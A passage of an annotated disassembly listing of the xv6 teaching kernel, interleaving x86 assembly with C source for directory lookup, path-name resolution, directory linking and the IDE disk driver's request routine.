iupdate(ip);
}
return n;
80101b12: 8b 45 e0 mov -0x20(%ebp),%eax
}
80101b15: 8d 65 f4 lea -0xc(%ebp),%esp
80101b18: 5b pop %ebx
80101b19: 5e pop %esi
80101b1a: 5f pop %edi
80101b1b: 5d pop %ebp
80101b1c: c3 ret
80101b1d: 8d 76 00 lea 0x0(%esi),%esi
{
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
80101b20: 0f bf 40 52 movswl 0x52(%eax),%eax
80101b24: 66 83 f8 09 cmp $0x9,%ax
80101b28: 77 36 ja 80101b60 <writei+0x120>
80101b2a: 8b 04 c5 64 09 11 80 mov -0x7feef69c(,%eax,8),%eax
80101b31: 85 c0 test %eax,%eax
80101b33: 74 2b je 80101b60 <writei+0x120>
return -1;
return devsw[ip->major].write(ip, src, n);
80101b35: 89 7d 10 mov %edi,0x10(%ebp)
if(n > 0 && off > ip->size){
ip->size = off;
iupdate(ip);
}
return n;
}
80101b38: 8d 65 f4 lea -0xc(%ebp),%esp
80101b3b: 5b pop %ebx
80101b3c: 5e pop %esi
80101b3d: 5f pop %edi
80101b3e: 5d pop %ebp
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
return devsw[ip->major].write(ip, src, n);
80101b3f: ff e0 jmp *%eax
80101b41: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
log_write(bp);
brelse(bp);
}
if(n > 0 && off > ip->size){
ip->size = off;
80101b48: 8b 45 d8 mov -0x28(%ebp),%eax
iupdate(ip);
80101b4b: 83 ec 0c sub $0xc,%esp
log_write(bp);
brelse(bp);
}
if(n > 0 && off > ip->size){
ip->size = off;
80101b4e: 89 70 58 mov %esi,0x58(%eax)
iupdate(ip);
80101b51: 50 push %eax
80101b52: e8 59 fa ff ff call 801015b0 <iupdate>
80101b57: 83 c4 10 add $0x10,%esp
80101b5a: eb b6 jmp 80101b12 <writei+0xd2>
80101b5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
80101b60: b8 ff ff ff ff mov $0xffffffff,%eax
80101b65: eb ae jmp 80101b15 <writei+0xd5>
80101b67: 89 f6 mov %esi,%esi
80101b69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101b70 <namecmp>:
//PAGEBREAK!
// Directories
int
namecmp(const char *s, const char *t)
{
80101b70: 55 push %ebp
80101b71: 89 e5 mov %esp,%ebp
80101b73: 83 ec 0c sub $0xc,%esp
return strncmp(s, t, DIRSIZ);
80101b76: 6a 0e push $0xe
80101b78: ff 75 0c pushl 0xc(%ebp)
80101b7b: ff 75 08 pushl 0x8(%ebp)
80101b7e: e8 1d 2a 00 00 call 801045a0 <strncmp>
}
80101b83: c9 leave
80101b84: c3 ret
80101b85: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101b89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101b90 <dirlookup>:
// Look for a directory entry in a directory.
// If found, set *poff to byte offset of entry.
struct inode*
dirlookup(struct inode *dp, char *name, uint *poff)
{
80101b90: 55 push %ebp
80101b91: 89 e5 mov %esp,%ebp
80101b93: 57 push %edi
80101b94: 56 push %esi
80101b95: 53 push %ebx
80101b96: 83 ec 1c sub $0x1c,%esp
80101b99: 8b 5d 08 mov 0x8(%ebp),%ebx
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
80101b9c: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80101ba1: 0f 85 80 00 00 00 jne 80101c27 <dirlookup+0x97>
panic("dirlookup not DIR");
for(off = 0; off < dp->size; off += sizeof(de)){
80101ba7: 8b 53 58 mov 0x58(%ebx),%edx
80101baa: 31 ff xor %edi,%edi
80101bac: 8d 75 d8 lea -0x28(%ebp),%esi
80101baf: 85 d2 test %edx,%edx
80101bb1: 75 0d jne 80101bc0 <dirlookup+0x30>
80101bb3: eb 5b jmp 80101c10 <dirlookup+0x80>
80101bb5: 8d 76 00 lea 0x0(%esi),%esi
80101bb8: 83 c7 10 add $0x10,%edi
80101bbb: 39 7b 58 cmp %edi,0x58(%ebx)
80101bbe: 76 50 jbe 80101c10 <dirlookup+0x80>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101bc0: 6a 10 push $0x10
80101bc2: 57 push %edi
80101bc3: 56 push %esi
80101bc4: 53 push %ebx
80101bc5: e8 76 fd ff ff call 80101940 <readi>
80101bca: 83 c4 10 add $0x10,%esp
80101bcd: 83 f8 10 cmp $0x10,%eax
80101bd0: 75 48 jne 80101c1a <dirlookup+0x8a>
panic("dirlookup read");
if(de.inum == 0)
80101bd2: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101bd7: 74 df je 80101bb8 <dirlookup+0x28>
// Directories
int
namecmp(const char *s, const char *t)
{
return strncmp(s, t, DIRSIZ);
80101bd9: 8d 45 da lea -0x26(%ebp),%eax
80101bdc: 83 ec 04 sub $0x4,%esp
80101bdf: 6a 0e push $0xe
80101be1: 50 push %eax
80101be2: ff 75 0c pushl 0xc(%ebp)
80101be5: e8 b6 29 00 00 call 801045a0 <strncmp>
for(off = 0; off < dp->size; off += sizeof(de)){
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlookup read");
if(de.inum == 0)
continue;
if(namecmp(name, de.name) == 0){
80101bea: 83 c4 10 add $0x10,%esp
80101bed: 85 c0 test %eax,%eax
80101bef: 75 c7 jne 80101bb8 <dirlookup+0x28>
// entry matches path element
if(poff)
80101bf1: 8b 45 10 mov 0x10(%ebp),%eax
80101bf4: 85 c0 test %eax,%eax
80101bf6: 74 05 je 80101bfd <dirlookup+0x6d>
*poff = off;
80101bf8: 8b 45 10 mov 0x10(%ebp),%eax
80101bfb: 89 38 mov %edi,(%eax)
inum = de.inum;
return iget(dp->dev, inum);
80101bfd: 0f b7 55 d8 movzwl -0x28(%ebp),%edx
80101c01: 8b 03 mov (%ebx),%eax
80101c03: e8 78 f6 ff ff call 80101280 <iget>
}
}
return 0;
}
80101c08: 8d 65 f4 lea -0xc(%ebp),%esp
80101c0b: 5b pop %ebx
80101c0c: 5e pop %esi
80101c0d: 5f pop %edi
80101c0e: 5d pop %ebp
80101c0f: c3 ret
80101c10: 8d 65 f4 lea -0xc(%ebp),%esp
inum = de.inum;
return iget(dp->dev, inum);
}
}
return 0;
80101c13: 31 c0 xor %eax,%eax
}
80101c15: 5b pop %ebx
80101c16: 5e pop %esi
80101c17: 5f pop %edi
80101c18: 5d pop %ebp
80101c19: c3 ret
if(dp->type != T_DIR)
panic("dirlookup not DIR");
for(off = 0; off < dp->size; off += sizeof(de)){
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlookup read");
80101c1a: 83 ec 0c sub $0xc,%esp
80101c1d: 68 99 70 10 80 push $0x80107099
80101c22: e8 49 e7 ff ff call 80100370 <panic>
{
uint off, inum;
struct dirent de;
if(dp->type != T_DIR)
panic("dirlookup not DIR");
80101c27: 83 ec 0c sub $0xc,%esp
80101c2a: 68 87 70 10 80 push $0x80107087
80101c2f: e8 3c e7 ff ff call 80100370 <panic>
80101c34: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101c3a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80101c40 <namex>:
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
80101c40: 55 push %ebp
80101c41: 89 e5 mov %esp,%ebp
80101c43: 57 push %edi
80101c44: 56 push %esi
80101c45: 53 push %ebx
80101c46: 89 cf mov %ecx,%edi
80101c48: 89 c3 mov %eax,%ebx
80101c4a: 83 ec 1c sub $0x1c,%esp
struct inode *ip, *next;
if(*path == '/')
80101c4d: 80 38 2f cmpb $0x2f,(%eax)
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
80101c50: 89 55 e0 mov %edx,-0x20(%ebp)
struct inode *ip, *next;
if(*path == '/')
80101c53: 0f 84 53 01 00 00 je 80101dac <namex+0x16c>
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(myproc()->cwd);
80101c59: e8 12 1b 00 00 call 80103770 <myproc>
// Increment reference count for ip.
// Returns ip to enable ip = idup(ip1) idiom.
struct inode*
idup(struct inode *ip)
{
acquire(&icache.lock);
80101c5e: 83 ec 0c sub $0xc,%esp
struct inode *ip, *next;
if(*path == '/')
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(myproc()->cwd);
80101c61: 8b 70 68 mov 0x68(%eax),%esi
// Increment reference count for ip.
// Returns ip to enable ip = idup(ip1) idiom.
struct inode*
idup(struct inode *ip)
{
acquire(&icache.lock);
80101c64: 68 e0 09 11 80 push $0x801109e0
80101c69: e8 02 27 00 00 call 80104370 <acquire>
ip->ref++;
80101c6e: 83 46 08 01 addl $0x1,0x8(%esi)
release(&icache.lock);
80101c72: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101c79: e8 a2 27 00 00 call 80104420 <release>
80101c7e: 83 c4 10 add $0x10,%esp
80101c81: eb 08 jmp 80101c8b <namex+0x4b>
80101c83: 90 nop
80101c84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
{
char *s;
int len;
while(*path == '/')
path++;
80101c88: 83 c3 01 add $0x1,%ebx
skipelem(char *path, char *name)
{
char *s;
int len;
while(*path == '/')
80101c8b: 0f b6 03 movzbl (%ebx),%eax
80101c8e: 3c 2f cmp $0x2f,%al
80101c90: 74 f6 je 80101c88 <namex+0x48>
path++;
if(*path == 0)
80101c92: 84 c0 test %al,%al
80101c94: 0f 84 e3 00 00 00 je 80101d7d <namex+0x13d>
return 0;
s = path;
while(*path != '/' && *path != 0)
80101c9a: 0f b6 03 movzbl (%ebx),%eax
80101c9d: 89 da mov %ebx,%edx
80101c9f: 84 c0 test %al,%al
80101ca1: 0f 84 ac 00 00 00 je 80101d53 <namex+0x113>
80101ca7: 3c 2f cmp $0x2f,%al
80101ca9: 75 09 jne 80101cb4 <namex+0x74>
80101cab: e9 a3 00 00 00 jmp 80101d53 <namex+0x113>
80101cb0: 84 c0 test %al,%al
80101cb2: 74 0a je 80101cbe <namex+0x7e>
path++;
80101cb4: 83 c2 01 add $0x1,%edx
while(*path == '/')
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
80101cb7: 0f b6 02 movzbl (%edx),%eax
80101cba: 3c 2f cmp $0x2f,%al
80101cbc: 75 f2 jne 80101cb0 <namex+0x70>
80101cbe: 89 d1 mov %edx,%ecx
80101cc0: 29 d9 sub %ebx,%ecx
path++;
len = path - s;
if(len >= DIRSIZ)
80101cc2: 83 f9 0d cmp $0xd,%ecx
80101cc5: 0f 8e 8d 00 00 00 jle 80101d58 <namex+0x118>
memmove(name, s, DIRSIZ);
80101ccb: 83 ec 04 sub $0x4,%esp
80101cce: 89 55 e4 mov %edx,-0x1c(%ebp)
80101cd1: 6a 0e push $0xe
80101cd3: 53 push %ebx
80101cd4: 57 push %edi
80101cd5: e8 46 28 00 00 call 80104520 <memmove>
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
path++;
80101cda: 8b 55 e4 mov -0x1c(%ebp),%edx
len = path - s;
if(len >= DIRSIZ)
memmove(name, s, DIRSIZ);
80101cdd: 83 c4 10 add $0x10,%esp
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
path++;
80101ce0: 89 d3 mov %edx,%ebx
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
name[len] = 0;
}
while(*path == '/')
80101ce2: 80 3a 2f cmpb $0x2f,(%edx)
80101ce5: 75 11 jne 80101cf8 <namex+0xb8>
80101ce7: 89 f6 mov %esi,%esi
80101ce9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
path++;
80101cf0: 83 c3 01 add $0x1,%ebx
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
name[len] = 0;
}
while(*path == '/')
80101cf3: 80 3b 2f cmpb $0x2f,(%ebx)
80101cf6: 74 f8 je 80101cf0 <namex+0xb0>
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(myproc()->cwd);
while((path = skipelem(path, name)) != 0){
ilock(ip);
80101cf8: 83 ec 0c sub $0xc,%esp
80101cfb: 56 push %esi
80101cfc: e8 5f f9 ff ff call 80101660 <ilock>
if(ip->type != T_DIR){
80101d01: 83 c4 10 add $0x10,%esp
80101d04: 66 83 7e 50 01 cmpw $0x1,0x50(%esi)
80101d09: 0f 85 7f 00 00 00 jne 80101d8e <namex+0x14e>
iunlockput(ip);
return 0;
}
if(nameiparent && *path == '\0'){
80101d0f: 8b 55 e0 mov -0x20(%ebp),%edx
80101d12: 85 d2 test %edx,%edx
80101d14: 74 09 je 80101d1f <namex+0xdf>
80101d16: 80 3b 00 cmpb $0x0,(%ebx)
80101d19: 0f 84 a3 00 00 00 je 80101dc2 <namex+0x182>
// Stop one level early.
iunlock(ip);
return ip;
}
if((next = dirlookup(ip, name, 0)) == 0){
80101d1f: 83 ec 04 sub $0x4,%esp
80101d22: 6a 00 push $0x0
80101d24: 57 push %edi
80101d25: 56 push %esi
80101d26: e8 65 fe ff ff call 80101b90 <dirlookup>
80101d2b: 83 c4 10 add $0x10,%esp
80101d2e: 85 c0 test %eax,%eax
80101d30: 74 5c je 80101d8e <namex+0x14e>
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
iunlock(ip);
80101d32: 83 ec 0c sub $0xc,%esp
80101d35: 89 45 e4 mov %eax,-0x1c(%ebp)
80101d38: 56 push %esi
80101d39: e8 02 fa ff ff call 80101740 <iunlock>
iput(ip);
80101d3e: 89 34 24 mov %esi,(%esp)
80101d41: e8 4a fa ff ff call 80101790 <iput>
80101d46: 8b 45 e4 mov -0x1c(%ebp),%eax
80101d49: 83 c4 10 add $0x10,%esp
80101d4c: 89 c6 mov %eax,%esi
80101d4e: e9 38 ff ff ff jmp 80101c8b <namex+0x4b>
while(*path == '/')
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
80101d53: 31 c9 xor %ecx,%ecx
80101d55: 8d 76 00 lea 0x0(%esi),%esi
path++;
len = path - s;
if(len >= DIRSIZ)
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
80101d58: 83 ec 04 sub $0x4,%esp
80101d5b: 89 55 dc mov %edx,-0x24(%ebp)
80101d5e: 89 4d e4 mov %ecx,-0x1c(%ebp)
80101d61: 51 push %ecx
80101d62: 53 push %ebx
80101d63: 57 push %edi
80101d64: e8 b7 27 00 00 call 80104520 <memmove>
name[len] = 0;
80101d69: 8b 4d e4 mov -0x1c(%ebp),%ecx
80101d6c: 8b 55 dc mov -0x24(%ebp),%edx
80101d6f: 83 c4 10 add $0x10,%esp
80101d72: c6 04 0f 00 movb $0x0,(%edi,%ecx,1)
80101d76: 89 d3 mov %edx,%ebx
80101d78: e9 65 ff ff ff jmp 80101ce2 <namex+0xa2>
return 0;
}
iunlockput(ip);
ip = next;
}
if(nameiparent){
80101d7d: 8b 45 e0 mov -0x20(%ebp),%eax
80101d80: 85 c0 test %eax,%eax
80101d82: 75 54 jne 80101dd8 <namex+0x198>
80101d84: 89 f0 mov %esi,%eax
iput(ip);
return 0;
}
return ip;
}
80101d86: 8d 65 f4 lea -0xc(%ebp),%esp
80101d89: 5b pop %ebx
80101d8a: 5e pop %esi
80101d8b: 5f pop %edi
80101d8c: 5d pop %ebp
80101d8d: c3 ret
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
iunlock(ip);
80101d8e: 83 ec 0c sub $0xc,%esp
80101d91: 56 push %esi
80101d92: e8 a9 f9 ff ff call 80101740 <iunlock>
iput(ip);
80101d97: 89 34 24 mov %esi,(%esp)
80101d9a: e8 f1 f9 ff ff call 80101790 <iput>
iunlock(ip);
return ip;
}
if((next = dirlookup(ip, name, 0)) == 0){
iunlockput(ip);
return 0;
80101d9f: 83 c4 10 add $0x10,%esp
if(nameiparent){
iput(ip);
return 0;
}
return ip;
}
80101da2: 8d 65 f4 lea -0xc(%ebp),%esp
iunlock(ip);
return ip;
}
if((next = dirlookup(ip, name, 0)) == 0){
iunlockput(ip);
return 0;
80101da5: 31 c0 xor %eax,%eax
if(nameiparent){
iput(ip);
return 0;
}
return ip;
}
80101da7: 5b pop %ebx
80101da8: 5e pop %esi
80101da9: 5f pop %edi
80101daa: 5d pop %ebp
80101dab: c3 ret
namex(char *path, int nameiparent, char *name)
{
struct inode *ip, *next;
if(*path == '/')
ip = iget(ROOTDEV, ROOTINO);
80101dac: ba 01 00 00 00 mov $0x1,%edx
80101db1: b8 01 00 00 00 mov $0x1,%eax
80101db6: e8 c5 f4 ff ff call 80101280 <iget>
80101dbb: 89 c6 mov %eax,%esi
80101dbd: e9 c9 fe ff ff jmp 80101c8b <namex+0x4b>
iunlockput(ip);
return 0;
}
if(nameiparent && *path == '\0'){
// Stop one level early.
iunlock(ip);
80101dc2: 83 ec 0c sub $0xc,%esp
80101dc5: 56 push %esi
80101dc6: e8 75 f9 ff ff call 80101740 <iunlock>
return ip;
80101dcb: 83 c4 10 add $0x10,%esp
if(nameiparent){
iput(ip);
return 0;
}
return ip;
}
80101dce: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
}
if(nameiparent && *path == '\0'){
// Stop one level early.
iunlock(ip);
return ip;
80101dd1: 89 f0 mov %esi,%eax
if(nameiparent){
iput(ip);
return 0;
}
return ip;
}
80101dd3: 5b pop %ebx
80101dd4: 5e pop %esi
80101dd5: 5f pop %edi
80101dd6: 5d pop %ebp
80101dd7: c3 ret
}
iunlockput(ip);
ip = next;
}
if(nameiparent){
iput(ip);
80101dd8: 83 ec 0c sub $0xc,%esp
80101ddb: 56 push %esi
80101ddc: e8 af f9 ff ff call 80101790 <iput>
return 0;
80101de1: 83 c4 10 add $0x10,%esp
80101de4: 31 c0 xor %eax,%eax
80101de6: eb 9e jmp 80101d86 <namex+0x146>
80101de8: 90 nop
80101de9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101df0 <dirlink>:
}
// Write a new directory entry (name, inum) into the directory dp.
int
dirlink(struct inode *dp, char *name, uint inum)
{
80101df0: 55 push %ebp
80101df1: 89 e5 mov %esp,%ebp
80101df3: 57 push %edi
80101df4: 56 push %esi
80101df5: 53 push %ebx
80101df6: 83 ec 20 sub $0x20,%esp
80101df9: 8b 5d 08 mov 0x8(%ebp),%ebx
int off;
struct dirent de;
struct inode *ip;
// Check that name is not present.
if((ip = dirlookup(dp, name, 0)) != 0){
80101dfc: 6a 00 push $0x0
80101dfe: ff 75 0c pushl 0xc(%ebp)
80101e01: 53 push %ebx
80101e02: e8 89 fd ff ff call 80101b90 <dirlookup>
80101e07: 83 c4 10 add $0x10,%esp
80101e0a: 85 c0 test %eax,%eax
80101e0c: 75 67 jne 80101e75 <dirlink+0x85>
iput(ip);
return -1;
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
80101e0e: 8b 7b 58 mov 0x58(%ebx),%edi
80101e11: 8d 75 d8 lea -0x28(%ebp),%esi
80101e14: 85 ff test %edi,%edi
80101e16: 74 29 je 80101e41 <dirlink+0x51>
80101e18: 31 ff xor %edi,%edi
80101e1a: 8d 75 d8 lea -0x28(%ebp),%esi
80101e1d: eb 09 jmp 80101e28 <dirlink+0x38>
80101e1f: 90 nop
80101e20: 83 c7 10 add $0x10,%edi
80101e23: 39 7b 58 cmp %edi,0x58(%ebx)
80101e26: 76 19 jbe 80101e41 <dirlink+0x51>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101e28: 6a 10 push $0x10
80101e2a: 57 push %edi
80101e2b: 56 push %esi
80101e2c: 53 push %ebx
80101e2d: e8 0e fb ff ff call 80101940 <readi>
80101e32: 83 c4 10 add $0x10,%esp
80101e35: 83 f8 10 cmp $0x10,%eax
80101e38: 75 4e jne 80101e88 <dirlink+0x98>
panic("dirlink read");
if(de.inum == 0)
80101e3a: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80101e3f: 75 df jne 80101e20 <dirlink+0x30>
break;
}
strncpy(de.name, name, DIRSIZ);
80101e41: 8d 45 da lea -0x26(%ebp),%eax
80101e44: 83 ec 04 sub $0x4,%esp
80101e47: 6a 0e push $0xe
80101e49: ff 75 0c pushl 0xc(%ebp)
80101e4c: 50 push %eax
80101e4d: e8 be 27 00 00 call 80104610 <strncpy>
de.inum = inum;
80101e52: 8b 45 10 mov 0x10(%ebp),%eax
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101e55: 6a 10 push $0x10
80101e57: 57 push %edi
80101e58: 56 push %esi
80101e59: 53 push %ebx
if(de.inum == 0)
break;
}
strncpy(de.name, name, DIRSIZ);
de.inum = inum;
80101e5a: 66 89 45 d8 mov %ax,-0x28(%ebp)
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80101e5e: e8 dd fb ff ff call 80101a40 <writei>
80101e63: 83 c4 20 add $0x20,%esp
80101e66: 83 f8 10 cmp $0x10,%eax
80101e69: 75 2a jne 80101e95 <dirlink+0xa5>
panic("dirlink");
return 0;
80101e6b: 31 c0 xor %eax,%eax
}
80101e6d: 8d 65 f4 lea -0xc(%ebp),%esp
80101e70: 5b pop %ebx
80101e71: 5e pop %esi
80101e72: 5f pop %edi
80101e73: 5d pop %ebp
80101e74: c3 ret
struct dirent de;
struct inode *ip;
// Check that name is not present.
if((ip = dirlookup(dp, name, 0)) != 0){
iput(ip);
80101e75: 83 ec 0c sub $0xc,%esp
80101e78: 50 push %eax
80101e79: e8 12 f9 ff ff call 80101790 <iput>
return -1;
80101e7e: 83 c4 10 add $0x10,%esp
80101e81: b8 ff ff ff ff mov $0xffffffff,%eax
80101e86: eb e5 jmp 80101e6d <dirlink+0x7d>
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlink read");
80101e88: 83 ec 0c sub $0xc,%esp
80101e8b: 68 a8 70 10 80 push $0x801070a8
80101e90: e8 db e4 ff ff call 80100370 <panic>
}
strncpy(de.name, name, DIRSIZ);
de.inum = inum;
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("dirlink");
80101e95: 83 ec 0c sub $0xc,%esp
80101e98: 68 a2 76 10 80 push $0x801076a2
80101e9d: e8 ce e4 ff ff call 80100370 <panic>
80101ea2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101ea9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101eb0 <namei>:
return ip;
}
struct inode*
namei(char *path)
{
80101eb0: 55 push %ebp
char name[DIRSIZ];
return namex(path, 0, name);
80101eb1: 31 d2 xor %edx,%edx
return ip;
}
struct inode*
namei(char *path)
{
80101eb3: 89 e5 mov %esp,%ebp
80101eb5: 83 ec 18 sub $0x18,%esp
char name[DIRSIZ];
return namex(path, 0, name);
80101eb8: 8b 45 08 mov 0x8(%ebp),%eax
80101ebb: 8d 4d ea lea -0x16(%ebp),%ecx
80101ebe: e8 7d fd ff ff call 80101c40 <namex>
}
80101ec3: c9 leave
80101ec4: c3 ret
80101ec5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101ec9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101ed0 <nameiparent>:
struct inode*
nameiparent(char *path, char *name)
{
80101ed0: 55 push %ebp
return namex(path, 1, name);
80101ed1: ba 01 00 00 00 mov $0x1,%edx
return namex(path, 0, name);
}
struct inode*
nameiparent(char *path, char *name)
{
80101ed6: 89 e5 mov %esp,%ebp
return namex(path, 1, name);
80101ed8: 8b 4d 0c mov 0xc(%ebp),%ecx
80101edb: 8b 45 08 mov 0x8(%ebp),%eax
}
80101ede: 5d pop %ebp
}
struct inode*
nameiparent(char *path, char *name)
{
return namex(path, 1, name);
80101edf: e9 5c fd ff ff jmp 80101c40 <namex>
80101ee4: 66 90 xchg %ax,%ax
80101ee6: 66 90 xchg %ax,%ax
80101ee8: 66 90 xchg %ax,%ax
80101eea: 66 90 xchg %ax,%ax
80101eec: 66 90 xchg %ax,%ax
80101eee: 66 90 xchg %ax,%ax
80101ef0 <idestart>:
}
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
80101ef0: 55 push %ebp
if(b == 0)
80101ef1: 85 c0 test %eax,%eax
}
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
80101ef3: 89 e5 mov %esp,%ebp
80101ef5: 56 push %esi
80101ef6: 53 push %ebx
if(b == 0)
80101ef7: 0f 84 ad 00 00 00 je 80101faa <idestart+0xba>
panic("idestart");
if(b->blockno >= FSSIZE)
80101efd: 8b 58 08 mov 0x8(%eax),%ebx
80101f00: 89 c1 mov %eax,%ecx
80101f02: 81 fb e7 03 00 00 cmp $0x3e7,%ebx
80101f08: 0f 87 8f 00 00 00 ja 80101f9d <idestart+0xad>
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80101f0e: ba f7 01 00 00 mov $0x1f7,%edx
80101f13: 90 nop
80101f14: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101f18: ec in (%dx),%al
static int
idewait(int checkerr)
{
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
80101f19: 83 e0 c0 and $0xffffffc0,%eax
80101f1c: 3c 40 cmp $0x40,%al
80101f1e: 75 f8 jne 80101f18 <idestart+0x28>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80101f20: 31 f6 xor %esi,%esi
80101f22: ba f6 03 00 00 mov $0x3f6,%edx
80101f27: 89 f0 mov %esi,%eax
80101f29: ee out %al,(%dx)
80101f2a: ba f2 01 00 00 mov $0x1f2,%edx
80101f2f: b8 01 00 00 00 mov $0x1,%eax
80101f34: ee out %al,(%dx)
80101f35: ba f3 01 00 00 mov $0x1f3,%edx
80101f3a: 89 d8 mov %ebx,%eax
80101f3c: ee out %al,(%dx)
80101f3d: 89 d8 mov %ebx,%eax
80101f3f: ba f4 01 00 00 mov $0x1f4,%edx
80101f44: c1 f8 08 sar $0x8,%eax
80101f47: ee out %al,(%dx)
80101f48: ba f5 01 00 00 mov $0x1f5,%edx
80101f4d: 89 f0 mov %esi,%eax
80101f4f: ee out %al,(%dx)
80101f50: 0f b6 41 04 movzbl 0x4(%ecx),%eax
80101f54: ba f6 01 00 00 mov $0x1f6,%edx
80101f59: 83 e0 01 and $0x1,%eax
80101f5c: c1 e0 04 shl $0x4,%eax
80101f5f: 83 c8 e0 or $0xffffffe0,%eax
80101f62: ee out %al,(%dx)
outb(0x1f2, sector_per_block); // number of sectors
outb(0x1f3, sector & 0xff);
outb(0x1f4, (sector >> 8) & 0xff);
outb(0x1f5, (sector >> 16) & 0xff);
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f));
if(b->flags & B_DIRTY){
80101f63: f6 01 04 testb $0x4,(%ecx)
80101f66: ba f7 01 00 00 mov $0x1f7,%edx
80101f6b: 75 13 jne 80101f80 <idestart+0x90>
80101f6d: b8 20 00 00 00 mov $0x20,%eax
80101f72: ee out %al,(%dx)
outb(0x1f7, write_cmd);
outsl(0x1f0, b->data, BSIZE/4);
} else {
outb(0x1f7, read_cmd);
}
}
80101f73: 8d 65 f8 lea -0x8(%ebp),%esp
80101f76: 5b pop %ebx
80101f77: 5e pop %esi
80101f78: 5d pop %ebp
80101f79: c3 ret
80101f7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101f80: b8 30 00 00 00 mov $0x30,%eax
80101f85: ee out %al,(%dx)
}
static inline void
outsl(int port, const void *addr, int cnt)
{
asm volatile("cld; rep outsl" :
80101f86: ba f0 01 00 00 mov $0x1f0,%edx
outb(0x1f4, (sector >> 8) & 0xff);
outb(0x1f5, (sector >> 16) & 0xff);
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f));
if(b->flags & B_DIRTY){
outb(0x1f7, write_cmd);
outsl(0x1f0, b->data, BSIZE/4);
80101f8b: 8d 71 5c lea 0x5c(%ecx),%esi
80101f8e: b9 80 00 00 00 mov $0x80,%ecx
80101f93: fc cld
80101f94: f3 6f rep outsl %ds:(%esi),(%dx)
} else {
outb(0x1f7, read_cmd);
}
}
80101f96: 8d 65 f8 lea -0x8(%ebp),%esp
80101f99: 5b pop %ebx
80101f9a: 5e pop %esi
80101f9b: 5d pop %ebp
80101f9c: c3 ret
idestart(struct buf *b)
{
if(b == 0)
panic("idestart");
if(b->blockno >= FSSIZE)
panic("incorrect blockno");
80101f9d: 83 ec 0c sub $0xc,%esp
80101fa0: 68 14 71 10 80 push $0x80107114
80101fa5: e8 c6 e3 ff ff call 80100370 <panic>
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
if(b == 0)
panic("idestart");
80101faa: 83 ec 0c sub $0xc,%esp
80101fad: 68 0b 71 10 80 push $0x8010710b
80101fb2: e8 b9 e3 ff ff call 80100370 <panic>
80101fb7: 89 f6 mov %esi,%esi
